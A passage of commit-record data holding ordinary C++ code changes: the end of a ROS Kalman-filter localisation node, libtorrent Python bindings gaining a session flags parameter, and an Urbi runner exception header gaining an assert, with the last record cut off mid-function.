tf::getYaw(msg.pose.pose.orientation)\n    ).finished();\n\n    Eigen::Map<Eigen::Matrix<double, 6, 6> const> cov_raw(\n        &msg.pose.covariance.front()\n    );\n\n    Eigen::Matrix3d cov_z = Eigen::Matrix3d::Zero();\n    cov_z.topLeftCorner<2, 2>() = cov_raw.topLeftCorner<2, 2>();\n    cov_z(2, 2) = cov_raw(5, 5);\n\n    kf.update_encoders(z, cov_z);\n    if (watch_encoders) publish();\n}\n\nstatic void updateGps(nav_msgs::Odometry const &msg)\n{\n    Eigen::Vector2d const z = (Eigen::Vector2d() <<\n        msg.pose.pose.position.x,\n        msg.pose.pose.position.y\n    ).finished();\n\n    Eigen::Map<Eigen::Matrix<double, 6, 6> const> cov_raw(\n        &msg.pose.covariance.front()\n    );\n    Eigen::Matrix2d const cov_z = cov_raw.topLeftCorner<2, 2>();\n\n    kf.update_gps(z, cov_z);\n    if (watch_gps) publish();\n}\n\nint main(int argc, char **argv)\n{\n    ros::init(argc, argv, \"robot_kf_node\");\n\n    ros::NodeHandle nh;\n    nh.param<bool>(\"watch_compass\",  watch_compass,  true);\n    nh.param<bool>(\"watch_encoders\", watch_encoders, true);\n    nh.param<bool>(\"watch_gps\",      watch_gps,      true);\n    nh.param<std::string>(\"frame_id\", frame_id, \"\/map\");\n    nh.param<std::string>(\"child_frame_id\", child_frame_id, \"\/odom\");\n\n    sub_tf = boost::make_shared<tf::TransformListener>();\n    sub_compass  = nh.subscribe(\"compass\", 1, &updateCompass);\n    sub_encoders = nh.subscribe(\"odom\", 1, &updateEncoders);\n    sub_gps      = nh.subscribe(\"gps\", 1, &updateGps);\n    pub_fused    = nh.advertise<nav_msgs::Odometry>(\"odom_fused\", 100);\n\n    ros::spin();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added reserve handling for doctor<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include <boost\/python.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nextern char const* session_status_doc;\nextern char const* session_status_has_incoming_connections_doc;\nextern char const* session_status_upload_rate_doc;\nextern char const* session_status_download_rate_doc;\nextern char const* session_status_payload_upload_rate_doc;\nextern char const* session_status_payload_download_rate_doc;\nextern char const* session_status_total_download_doc;\nextern char const* session_status_total_upload_doc;\nextern char const* session_status_total_payload_download_doc;\nextern char const* session_status_total_payload_upload_doc;\nextern char const* session_status_num_peers_doc;\nextern char const* session_status_dht_nodes_doc;\nextern char const* session_status_cache_nodes_doc;\nextern char const* session_status_dht_torrents_doc;\n\nextern char const* session_doc;\nextern char const* session_init_doc;\nextern char const* session_listen_on_doc;\nextern char const* session_is_listening_doc;\nextern char const* session_listen_port_doc;\nextern char const* session_status_m_doc;\nextern char const* session_start_dht_doc;\nextern char const* session_stop_dht_doc;\nextern char const* session_dht_state_doc;\nextern char const* session_add_dht_router_doc;\nextern char const* session_add_torrent_doc;\nextern char const* session_remove_torrent_doc;\nextern char const* session_set_download_rate_limit_doc;\nextern char const* session_download_rate_limit_doc;\nextern char const* session_set_upload_rate_limit_doc;\nextern char const* session_upload_rate_limit_doc;\nextern char const* session_set_max_uploads_doc;\nextern char const* session_set_max_connections_doc;\nextern char const* session_set_max_half_open_connections_doc;\nextern char const* session_num_connections_doc;\nextern char const* session_set_settings_doc;\nextern char const* session_set_pe_settings_doc;\nextern char const* session_get_pe_settings_doc; \nextern char const* session_set_severity_level_doc;\nextern char const* session_pop_alert_doc;\nextern char const* session_start_upnp_doc;\nextern char const* session_start_lsd_doc;\nextern char const* session_stop_lsd_doc;\nextern char const* session_stop_upnp_doc;\nextern char const* session_start_natpmp_doc;\nextern char const* session_stop_natpmp_doc;\nextern char const* session_set_ip_filter_doc;\n\nnamespace\n{\n\n  bool listen_on(session& s, int min_, int max_, char const* interface)\n  {\n      allow_threading_guard guard;\n      return s.listen_on(std::make_pair(min_, max_), interface);\n  }\n  void outgoing_ports(session& s, int _min, int _max)\n  {\n      allow_threading_guard guard;\n      session_settings settings = s.settings();\n      settings.outgoing_ports = std::make_pair(_min, _max);\n      s.set_settings(settings);\n      return;\n  }\n#ifndef TORRENT_DISABLE_DHT\n  void add_dht_router(session& s, std::string router_, int port_)\n  {\n      allow_threading_guard guard;\n      return s.add_dht_router(std::make_pair(router_, port_));\n  }\n#endif\n\n  struct invoke_extension_factory\n  {\n      invoke_extension_factory(object const& callback)\n        : cb(callback)\n      {}\n\n      boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n      {\n          lock_gil lock;\n          return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n      }\n\n      object cb;\n  };\n\n  void add_extension(session& s, object const& e)\n  {\n      allow_threading_guard guard;\n      s.add_extension(invoke_extension_factory(e));\n  }\n\n  torrent_handle add_torrent(session& s, dict params)\n  {\n    add_torrent_params p;\n\n    if (params.has_key(\"ti\"))\n      p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n    std::string url;\n    if (params.has_key(\"tracker_url\"))\n    {\n      url = extract<std::string>(params[\"tracker_url\"]);\n      p.tracker_url = url.c_str();\n    }\n    if (params.has_key(\"info_hash\"))\n      p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n    std::string name;\n    if (params.has_key(\"name\"))\n    {\n      name = extract<std::string>(params[\"name\"]);\n      p.name = name.c_str();\n    }\n    p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n    std::vector<char> resume_buf;\n    if (params.has_key(\"resume_data\"))\n    {\n      std::string resume = extract<std::string>(params[\"resume_data\"]);\n      resume_buf.resize(resume.size());\n      std::memcpy(&resume_buf[0], &resume[0], resume.size());\n      p.resume_data = &resume_buf;\n    }\n    p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n    p.paused = params[\"paused\"];\n    p.auto_managed = params[\"auto_managed\"];\n    p.duplicate_is_error = params[\"duplicate_is_error\"];\n\n    return s.add_torrent(p);\n  }\n\n  void start_natpmp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_natpmp();\n      return;\n  }\n\n  void start_upnp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_upnp();\n      return;\n  }\n\n  list get_torrents(session& s)\n  {\n     list ret;\n     std::vector<torrent_handle> torrents = s.get_torrents();\n\n     for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n     {\n       ret.append(*i);\n     }\n     return ret;\n  }\n  \n#ifndef TORRENT_DISABLE_GEO_IP\n  bool load_asnum_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_asnum_db(file.c_str());\n  }\n\n  bool load_country_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_country_db(file.c_str());\n  }\n#endif\n} \/\/ namespace unnamed\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\", session_status_doc)\n        .def_readonly(\n            \"has_incoming_connections\", &session_status::has_incoming_connections\n          , session_status_has_incoming_connections_doc\n        )\n        .def_readonly(\n            \"upload_rate\", &session_status::upload_rate\n          , session_status_upload_rate_doc\n        )\n        .def_readonly(\n            \"download_rate\", &session_status::download_rate\n          , session_status_download_rate_doc\n        )\n        .def_readonly(\n            \"payload_upload_rate\", &session_status::payload_upload_rate\n          , session_status_payload_upload_rate_doc\n        )\n        .def_readonly(\n            \"payload_download_rate\", &session_status::payload_download_rate\n          , session_status_payload_download_rate_doc\n        )\n        .def_readonly(\n            \"total_download\", &session_status::total_download\n          , session_status_total_download_doc\n        )\n        .def_readonly(\n            \"total_upload\", &session_status::total_upload\n          , session_status_total_upload_doc\n        )\n        .def_readonly(\n            \"total_payload_download\", &session_status::total_payload_download\n          , session_status_total_payload_download_doc\n        )\n        .def_readonly(\n            \"total_payload_upload\", &session_status::total_payload_upload\n          , session_status_total_payload_upload_doc\n        )\n        .def_readonly(\n            \"num_peers\", &session_status::num_peers\n          , session_status_num_peers_doc\n        )\n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\n            \"dht_nodes\", &session_status::dht_nodes\n          , session_status_dht_nodes_doc\n        )\n        .def_readonly(\n            \"dht_cache_nodes\", &session_status::dht_node_cache\n          , session_status_cache_nodes_doc\n        )\n        .def_readonly(\n            \"dht_torrents\", &session_status::dht_torrents\n          , session_status_dht_torrents_doc\n        )\n#endif\n        ;\n\n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    class_<session, boost::noncopyable>(\"session\", session_doc, no_init)\n        .def(\n            init<fingerprint>(arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0), session_init_doc)\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n          , session_listen_on_doc\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening), session_is_listening_doc)\n        .def(\"listen_port\", allow_threads(&session::listen_port), session_listen_port_doc)\n        .def(\"status\", allow_threads(&session::status), session_status_m_doc)\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n          , session_add_dht_router_doc\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht), session_start_dht_doc)\n        .def(\"stop_dht\", allow_threads(&session::stop_dht), session_stop_dht_doc)\n        .def(\"dht_state\", allow_threads(&session::dht_state), session_dht_state_doc)\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n#endif\n        .def(\"add_torrent\", &add_torrent, session_add_torrent_doc)\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n\t\t\t  , session_remove_torrent_doc)\n        .def(\n            \"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit)\n          , session_set_download_rate_limit_doc\n        )\n        .def(\n            \"download_rate_limit\", allow_threads(&session::download_rate_limit)\n          , session_download_rate_limit_doc\n        )\n\n        .def(\n            \"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit)\n          , session_set_upload_rate_limit_doc\n        )\n        .def(\n            \"upload_rate_limit\", allow_threads(&session::upload_rate_limit)\n          , session_upload_rate_limit_doc\n        )\n\n        .def(\n            \"set_max_uploads\", allow_threads(&session::set_max_uploads)\n          , session_set_max_uploads_doc\n        )\n        .def(\n            \"set_max_connections\", allow_threads(&session::set_max_connections)\n          , session_set_max_connections_doc\n        )\n        .def(\n            \"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections)\n          , session_set_max_half_open_connections_doc\n        )\n        .def(\n            \"num_connections\", allow_threads(&session::num_connections)\n          , session_num_connections_doc\n        )\n        .def(\"set_settings\", allow_threads(&session::set_settings), session_set_settings_doc)\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings), session_set_pe_settings_doc)\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n        .def(\n            \"set_severity_level\", allow_threads(&session::set_severity_level)\n          , session_set_severity_level_doc\n        )\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert), session_pop_alert_doc)\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"start_upnp\", &start_upnp, session_start_upnp_doc)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp), session_stop_upnp_doc)\n        .def(\"start_lsd\", allow_threads(&session::start_lsd), session_start_lsd_doc)\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd), session_stop_lsd_doc)\n        .def(\"start_natpmp\", &start_natpmp, session_start_natpmp_doc)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp), session_stop_natpmp_doc)\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter), session_set_ip_filter_doc)\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n\n\n<commit_msg>update session constructor in python bindings to support 'flags'<commit_after>\/\/ Copyright Daniel Wallin, Arvid Norberg 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <libtorrent\/session.hpp>\n#include <libtorrent\/torrent.hpp>\n#include <libtorrent\/storage.hpp>\n#include <libtorrent\/ip_filter.hpp>\n#include <boost\/python.hpp>\n#include \"gil.hpp\"\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nextern char const* session_status_doc;\nextern char const* session_status_has_incoming_connections_doc;\nextern char const* session_status_upload_rate_doc;\nextern char const* session_status_download_rate_doc;\nextern char const* session_status_payload_upload_rate_doc;\nextern char const* session_status_payload_download_rate_doc;\nextern char const* session_status_total_download_doc;\nextern char const* session_status_total_upload_doc;\nextern char const* session_status_total_payload_download_doc;\nextern char const* session_status_total_payload_upload_doc;\nextern char const* session_status_num_peers_doc;\nextern char const* session_status_dht_nodes_doc;\nextern char const* session_status_cache_nodes_doc;\nextern char const* session_status_dht_torrents_doc;\n\nextern char const* session_doc;\nextern char const* session_init_doc;\nextern char const* session_listen_on_doc;\nextern char const* session_is_listening_doc;\nextern char const* session_listen_port_doc;\nextern char const* session_status_m_doc;\nextern char const* session_start_dht_doc;\nextern char const* session_stop_dht_doc;\nextern char const* session_dht_state_doc;\nextern char const* session_add_dht_router_doc;\nextern char const* session_add_torrent_doc;\nextern char const* session_remove_torrent_doc;\nextern char const* session_set_download_rate_limit_doc;\nextern char const* session_download_rate_limit_doc;\nextern char const* session_set_upload_rate_limit_doc;\nextern char const* session_upload_rate_limit_doc;\nextern char const* session_set_max_uploads_doc;\nextern char const* session_set_max_connections_doc;\nextern char const* session_set_max_half_open_connections_doc;\nextern char const* session_num_connections_doc;\nextern char const* session_set_settings_doc;\nextern char const* session_set_pe_settings_doc;\nextern char const* session_get_pe_settings_doc; \nextern char const* session_set_severity_level_doc;\nextern char const* session_pop_alert_doc;\nextern char const* session_start_upnp_doc;\nextern char const* session_start_lsd_doc;\nextern char const* session_stop_lsd_doc;\nextern char const* session_stop_upnp_doc;\nextern char const* session_start_natpmp_doc;\nextern char const* session_stop_natpmp_doc;\nextern char const* session_set_ip_filter_doc;\n\nnamespace\n{\n\n  bool listen_on(session& s, int min_, int max_, char const* interface)\n  {\n      allow_threading_guard guard;\n      return s.listen_on(std::make_pair(min_, max_), interface);\n  }\n  void outgoing_ports(session& s, int _min, int _max)\n  {\n      allow_threading_guard guard;\n      session_settings settings = s.settings();\n      settings.outgoing_ports = std::make_pair(_min, _max);\n      s.set_settings(settings);\n      return;\n  }\n#ifndef TORRENT_DISABLE_DHT\n  void add_dht_router(session& s, std::string router_, int port_)\n  {\n      allow_threading_guard guard;\n      return s.add_dht_router(std::make_pair(router_, port_));\n  }\n#endif\n\n  struct invoke_extension_factory\n  {\n      invoke_extension_factory(object const& callback)\n        : cb(callback)\n      {}\n\n      boost::shared_ptr<torrent_plugin> operator()(torrent* t, void*)\n      {\n          lock_gil lock;\n          return extract<boost::shared_ptr<torrent_plugin> >(cb(ptr(t)))();\n      }\n\n      object cb;\n  };\n\n  void add_extension(session& s, object const& e)\n  {\n      allow_threading_guard guard;\n      s.add_extension(invoke_extension_factory(e));\n  }\n\n  torrent_handle add_torrent(session& s, dict params)\n  {\n    add_torrent_params p;\n\n    if (params.has_key(\"ti\"))\n      p.ti = new torrent_info(extract<torrent_info const&>(params[\"ti\"]));\n\n    std::string url;\n    if (params.has_key(\"tracker_url\"))\n    {\n      url = extract<std::string>(params[\"tracker_url\"]);\n      p.tracker_url = url.c_str();\n    }\n    if (params.has_key(\"info_hash\"))\n      p.info_hash = extract<sha1_hash>(params[\"info_hash\"]);\n    std::string name;\n    if (params.has_key(\"name\"))\n    {\n      name = extract<std::string>(params[\"name\"]);\n      p.name = name.c_str();\n    }\n    p.save_path = fs::path(extract<std::string>(params[\"save_path\"]));\n\n    std::vector<char> resume_buf;\n    if (params.has_key(\"resume_data\"))\n    {\n      std::string resume = extract<std::string>(params[\"resume_data\"]);\n      resume_buf.resize(resume.size());\n      std::memcpy(&resume_buf[0], &resume[0], resume.size());\n      p.resume_data = &resume_buf;\n    }\n    p.storage_mode = extract<storage_mode_t>(params[\"storage_mode\"]);\n    p.paused = params[\"paused\"];\n    p.auto_managed = params[\"auto_managed\"];\n    p.duplicate_is_error = params[\"duplicate_is_error\"];\n\n    return s.add_torrent(p);\n  }\n\n  void start_natpmp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_natpmp();\n      return;\n  }\n\n  void start_upnp(session& s)\n  {\n      allow_threading_guard guard;\n      s.start_upnp();\n      return;\n  }\n\n  list get_torrents(session& s)\n  {\n     list ret;\n     std::vector<torrent_handle> torrents = s.get_torrents();\n\n     for (std::vector<torrent_handle>::iterator i = torrents.begin(); i != torrents.end(); ++i)\n     {\n       ret.append(*i);\n     }\n     return ret;\n  }\n  \n#ifndef TORRENT_DISABLE_GEO_IP\n  bool load_asnum_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_asnum_db(file.c_str());\n  }\n\n  bool load_country_db(session& s, std::string file)\n  {\n      allow_threading_guard guard;\n      return s.load_country_db(file.c_str());\n  }\n#endif\n} \/\/ namespace unnamed\n\nvoid bind_session()\n{\n    class_<session_status>(\"session_status\", session_status_doc)\n        .def_readonly(\n            \"has_incoming_connections\", &session_status::has_incoming_connections\n          , session_status_has_incoming_connections_doc\n        )\n        .def_readonly(\n            \"upload_rate\", &session_status::upload_rate\n          , session_status_upload_rate_doc\n        )\n        .def_readonly(\n            \"download_rate\", &session_status::download_rate\n          , session_status_download_rate_doc\n        )\n        .def_readonly(\n            \"payload_upload_rate\", &session_status::payload_upload_rate\n          , session_status_payload_upload_rate_doc\n        )\n        .def_readonly(\n            \"payload_download_rate\", &session_status::payload_download_rate\n          , session_status_payload_download_rate_doc\n        )\n        .def_readonly(\n            \"total_download\", &session_status::total_download\n          , session_status_total_download_doc\n        )\n        .def_readonly(\n            \"total_upload\", &session_status::total_upload\n          , session_status_total_upload_doc\n        )\n        .def_readonly(\n            \"total_payload_download\", &session_status::total_payload_download\n          , session_status_total_payload_download_doc\n        )\n        .def_readonly(\n            \"total_payload_upload\", &session_status::total_payload_upload\n          , session_status_total_payload_upload_doc\n        )\n        .def_readonly(\n            \"num_peers\", &session_status::num_peers\n          , session_status_num_peers_doc\n        )\n#ifndef TORRENT_DISABLE_DHT\n        .def_readonly(\n            \"dht_nodes\", &session_status::dht_nodes\n          , session_status_dht_nodes_doc\n        )\n        .def_readonly(\n            \"dht_cache_nodes\", &session_status::dht_node_cache\n          , session_status_cache_nodes_doc\n        )\n        .def_readonly(\n            \"dht_torrents\", &session_status::dht_torrents\n          , session_status_dht_torrents_doc\n        )\n#endif\n        ;\n\n    enum_<storage_mode_t>(\"storage_mode_t\")\n        .value(\"storage_mode_allocate\", storage_mode_allocate)\n        .value(\"storage_mode_sparse\", storage_mode_sparse)\n        .value(\"storage_mode_compact\", storage_mode_compact)\n    ;\n\n    enum_<session::options_t>(\"options_t\")\n        .value(\"none\", session::none)\n        .value(\"delete_files\", session::delete_files)\n    ;\n\n    enum_<session::session_flags_t>(\"session_flags_t\")\n        .value(\"add_default_plugins\", session::add_default_plugins)\n        .value(\"start_default_features\", session::start_default_features)\n    ;\n    \n    class_<session, boost::noncopyable>(\"session\", session_doc, no_init)\n        .def(\n            init<fingerprint, int>((\n                arg(\"fingerprint\")=fingerprint(\"LT\",0,1,0,0)\n                , arg(\"flags\")=session::start_default_features | session::add_default_plugins)\n                , session_init_doc)\n        )\n        .def(\n            \"listen_on\", &listen_on\n          , (arg(\"min\"), \"max\", arg(\"interface\") = (char const*)0)\n          , session_listen_on_doc\n        )\n        .def(\"outgoing_ports\", &outgoing_ports)\n        .def(\"is_listening\", allow_threads(&session::is_listening), session_is_listening_doc)\n        .def(\"listen_port\", allow_threads(&session::listen_port), session_listen_port_doc)\n        .def(\"status\", allow_threads(&session::status), session_status_m_doc)\n#ifndef TORRENT_DISABLE_DHT\n        .def(\n            \"add_dht_router\", &add_dht_router\n          , (arg(\"router\"), \"port\")\n          , session_add_dht_router_doc\n        )\n        .def(\"start_dht\", allow_threads(&session::start_dht), session_start_dht_doc)\n        .def(\"stop_dht\", allow_threads(&session::stop_dht), session_stop_dht_doc)\n        .def(\"dht_state\", allow_threads(&session::dht_state), session_dht_state_doc)\n        .def(\"set_dht_proxy\", allow_threads(&session::set_dht_proxy))\n#endif\n        .def(\"add_torrent\", &add_torrent, session_add_torrent_doc)\n        .def(\"remove_torrent\", allow_threads(&session::remove_torrent), arg(\"option\") = session::none\n\t\t\t  , session_remove_torrent_doc)\n        .def(\n            \"set_download_rate_limit\", allow_threads(&session::set_download_rate_limit)\n          , session_set_download_rate_limit_doc\n        )\n        .def(\n            \"download_rate_limit\", allow_threads(&session::download_rate_limit)\n          , session_download_rate_limit_doc\n        )\n\n        .def(\n            \"set_upload_rate_limit\", allow_threads(&session::set_upload_rate_limit)\n          , session_set_upload_rate_limit_doc\n        )\n        .def(\n            \"upload_rate_limit\", allow_threads(&session::upload_rate_limit)\n          , session_upload_rate_limit_doc\n        )\n\n        .def(\n            \"set_max_uploads\", allow_threads(&session::set_max_uploads)\n          , session_set_max_uploads_doc\n        )\n        .def(\n            \"set_max_connections\", allow_threads(&session::set_max_connections)\n          , session_set_max_connections_doc\n        )\n        .def(\n            \"set_max_half_open_connections\", allow_threads(&session::set_max_half_open_connections)\n          , session_set_max_half_open_connections_doc\n        )\n        .def(\n            \"num_connections\", allow_threads(&session::num_connections)\n          , session_num_connections_doc\n        )\n        .def(\"set_settings\", allow_threads(&session::set_settings), session_set_settings_doc)\n        .def(\"settings\", allow_threads(&session::settings), return_value_policy<copy_const_reference>())\n#ifndef TORRENT_DISABLE_ENCRYPTION\n        .def(\"set_pe_settings\", allow_threads(&session::set_pe_settings), session_set_pe_settings_doc)\n        .def(\"get_pe_settings\", allow_threads(&session::get_pe_settings), return_value_policy<copy_const_reference>())\n#endif\n#ifndef TORRENT_DISABLE_GEO_IP\n        .def(\"load_asnum_db\", &load_asnum_db)\n        .def(\"load_country_db\", &load_country_db)\n#endif\n        .def(\"load_state\", allow_threads(&session::load_state))\n        .def(\"state\", allow_threads(&session::state))\n        .def(\n            \"set_severity_level\", allow_threads(&session::set_severity_level)\n          , session_set_severity_level_doc\n        )\n        .def(\"set_alert_mask\", allow_threads(&session::set_alert_mask))\n        .def(\"pop_alert\", allow_threads(&session::pop_alert), session_pop_alert_doc)\n        .def(\"add_extension\", &add_extension)\n        .def(\"set_peer_proxy\", allow_threads(&session::set_peer_proxy))\n        .def(\"set_tracker_proxy\", allow_threads(&session::set_tracker_proxy))\n        .def(\"set_web_seed_proxy\", allow_threads(&session::set_web_seed_proxy))\n        .def(\"start_upnp\", &start_upnp, session_start_upnp_doc)\n        .def(\"stop_upnp\", allow_threads(&session::stop_upnp), session_stop_upnp_doc)\n        .def(\"start_lsd\", allow_threads(&session::start_lsd), session_start_lsd_doc)\n        .def(\"stop_lsd\", allow_threads(&session::stop_lsd), session_stop_lsd_doc)\n        .def(\"start_natpmp\", &start_natpmp, session_start_natpmp_doc)\n        .def(\"stop_natpmp\", allow_threads(&session::stop_natpmp), session_stop_natpmp_doc)\n        .def(\"set_ip_filter\", allow_threads(&session::set_ip_filter), session_set_ip_filter_doc)\n        .def(\"find_torrent\", allow_threads(&session::find_torrent))\n        .def(\"get_torrents\", &get_torrents)\n        .def(\"pause\", allow_threads(&session::pause))\n        .def(\"resume\", allow_threads(&session::resume))\n        .def(\"is_paused\", allow_threads(&session::is_paused))\n        ;\n\n    register_ptr_to_python<std::auto_ptr<alert> >();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef RAISE_HXX\n# define RAISE_HXX\n\n# include <scheduler\/scheduler.hh>\n# include <kernel\/userver.hh>\n# include <object\/float.hh>\n# include <object\/global.hh>\n# include <object\/string.hh>\n# include <runner\/runner.hh>\n# include <runner\/call.hh>\n\nnamespace runner\n{\n  LIBPORT_SPEED_INLINE\n  void\n  raise(const object::rObject& exn)\n  {\n    ::urbiserver->getCurrentRunner().raise(exn);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_lookup_error(libport::Symbol msg, const object::rObject& obj)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r,\n                        object::global_class->slot_get(SYMBOL(LookupError)),\n                        SYMBOL(new), new object::String(msg), obj);\n    r.raise(exn);\n    pabort(\"Unreachable\");\n  }\n\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_arity_error(unsigned effective,\n                    unsigned expected)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArityError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(effective),\n                        new object::Float(expected));\n    r.raise(exn, true);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_arity_error(unsigned effective,\n                    unsigned minimum,\n                    unsigned maximum)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArityError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(effective),\n                        new object::Float(minimum),\n                        new object::Float(maximum));\n    r.raise(exn, true);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_argument_type_error(unsigned idx,\n                            object::rObject effective,\n                            object::rObject expected)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    r.raise(\n      object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArgumentTypeError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(idx),\n                        expected,\n                        effective),\n      true);\n    pabort(\"Unreachable\");\n  }\n\n}\n\n#endif\n<commit_msg>Abort rather than recursing infinitely when LookupError is required to early.<commit_after>#ifndef RAISE_HXX\n# define RAISE_HXX\n\n# include <scheduler\/scheduler.hh>\n# include <kernel\/userver.hh>\n# include <object\/float.hh>\n# include <object\/global.hh>\n# include <object\/string.hh>\n# include <runner\/runner.hh>\n# include <runner\/call.hh>\n\nnamespace runner\n{\n  LIBPORT_SPEED_INLINE\n  void\n  raise(const object::rObject& exn)\n  {\n    ::urbiserver->getCurrentRunner().raise(exn);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_lookup_error(libport::Symbol msg, const object::rObject& obj)\n  {\n    assert(object::global_class->slot_has(SYMBOL(LookupError)));\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r,\n                        object::global_class->slot_get(SYMBOL(LookupError)),\n                        SYMBOL(new), new object::String(msg), obj);\n    r.raise(exn);\n    pabort(\"Unreachable\");\n  }\n\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_arity_error(unsigned effective,\n                    unsigned expected)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArityError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(effective),\n                        new object::Float(expected));\n    r.raise(exn, true);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_arity_error(unsigned effective,\n                    unsigned minimum,\n                    unsigned maximum)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    object::rObject exn =\n      object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArityError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(effective),\n                        new object::Float(minimum),\n                        new object::Float(maximum));\n    r.raise(exn, true);\n    pabort(\"Unreachable\");\n  }\n\n  LIBPORT_SPEED_INLINE\n  void\n  raise_argument_type_error(unsigned idx,\n                            object::rObject effective,\n                            object::rObject expected)\n  {\n    Runner& r = ::urbiserver->getCurrentRunner();\n    r.raise(\n      